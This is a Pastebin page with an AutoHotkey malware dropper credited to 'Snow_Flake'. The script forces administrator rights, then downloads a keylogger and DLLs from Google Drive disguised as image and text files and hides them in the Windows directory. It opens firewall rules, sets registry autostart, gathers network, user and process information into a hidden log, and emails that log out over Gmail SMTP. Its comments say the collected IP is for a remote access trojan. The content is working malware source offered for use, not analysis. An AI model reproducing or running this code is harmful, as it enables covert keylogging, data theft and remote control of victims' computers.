Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- If not A_IsAdmin
- {
- Run *RunAs "%A_ScriptFullPath%"
- ExitApp
- }
- #NoEnv
- #Persistent
- #NoTrayIcon
- #SingleInstance, force
- SetWorkingDir %A_ProgramFiles%\
- URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCYVY5aUhXM25iUTA,abc80.bmp ; The Keylogger.
- FileMove,abc80.bmp%A_WinDir%/abc80.cmd,1
- FileSetAttrib, +H, %A_WinDir%/abc80.cmd,1
- RunWait, %A_WinDir%/abc80.cmd,, Hide
- RunWait, cmd /c netsh advfirewall firewall add rule name="iexplorer" dir=in action=allow protocol=TCP localport=465,, Hide ; Open Port 465 for the Email Function.
- RunWait, cmd /c netsh advfirewall firewall add rule name="Micro" dir=in action=allow program="%A_WinDir%/kl.exe" enable=yes,, Hide ; Open the Firewall for the Keylogger.
- RegWrite, REG_SZ, HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, Soft, "%A_WinDir%/kl.exe" ; Autostart the Keylogger.
- fileappend, IPCONFIG `n, PCinfo.log
- RunWait, cmd /c ipconfig /all >> PCinfo.log,, Hide
- fileappend, `n`nNetstat Start, PCinfo.log
- RunWait, cmd /c Netstat -nbt >> PCinfo.log,, Hide
- fileappend, `n`nUsers, PCinfo.log
- RunWait, cmd /c net user >> PCinfo.log,, Hide
- fileappend, `n`nTasks Running, PCinfo.log
- RunWait, cmd /c tasklist >> PCinfo.log,, Hide
- fileappend, `n`nTree Start, PCinfo.log
- RunWait, cmd /c tree >> PCinfo.log,, Hide
- FileSetAttrib, +H, PCinfo.log
- ToolTip,PC Info - Log file created,0,0
- ; PCinfo.log is where all the Data is collected and it will e send to an Email
- pmsg := ComObjCreate("CDO.Message")
- pmsg.From := "YOUREMAILADDRESS"
- pmsg.To := "YOUREMAILADDRESS"
- pmsg.BCC := "" ; Blind Carbon Copy, Invisable for all, same syntax as CC
- pmsg.CC := ""
- pmsg.Subject := "PCInfo"
- pmsg.TextBody := "PC Name: " A_ComputerName "`nOS: " A_OSVersion "`nUsername: " A_Username "`nIP: " A_IPAddress1 "`nScreenW: " A_ScreenWidth "`nScreenH: " A_ScreenHeight "`n`nPCInfo Made By: Snow_Flake ©"
- Log := A_ProgramFiles "\PCinfo.log"
- sAttach = %Log%
- ; can add multiple attachments, the delimiter is |
- fields := Object()
- fields.smtpserver := "smtp.gmail.com" ; specify your SMTP server
- fields.smtpserverport := 465 ; 25
- fields.smtpusessl := True ; False
- fields.sendusing := 2 ; cdoSendUsingPort
- fields.smtpauthenticate := 1 ; cdoBasic
- fields.sendusername := "YOUREMAILADDRESS"
- fields.sendpassword := "PASSWORD"
- fields.smtpconnectiontimeout := 60
- schema := "http://schemas.microsoft.com/cdo/configuration/"
- pfld := pmsg.Configuration.Fields
- For field,value in fields
- pfld.Item(schema . field) := value
- pfld.Update()
- Loop, Parse, sAttach, |, %A_Space%%A_Tab%
- pmsg.AddAttachment(A_LoopField)
- pmsg.Send() ; Send all the Data from PCinfo.log to my Email Account fo i know the IP of the PC will be used in the RAT Client.
- FileDelete,%A_ProgramFiles%\PCinfo.log
- URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCNVJlXzBQOVJJaUU,logg.txt ; for making the Keylogger hidden on 32 bit system.
- URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCREs4UEd5QzVqN1k,logg2.txt ; for making the Keylogger hidden on 64 bit system.
- URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCMHVlX25QMl9lVE0,kl.txt ; The Keylogger.
- FileMove,kl.txt,%A_WinDir%/kl.exe,1
- FileSetAttrib, +H, %A_WinDir%/kl.exe,1
- FileMove,logg2.txt,%A_WinDir%/key64.dll,1
- FileSetAttrib, +H, %A_WinDir%/key64.dll
- FileMove,logg.txt,%A_WinDir%/key.dll,1
- FileSetAttrib, +H, %A_WinDir%/key.dll
- RunWait, %A_WinDir%/kl.exe,, Hide
- Process,close,cmd.exe
- ExitApp
Advertisement
Add Comment
Please, Sign In to add comment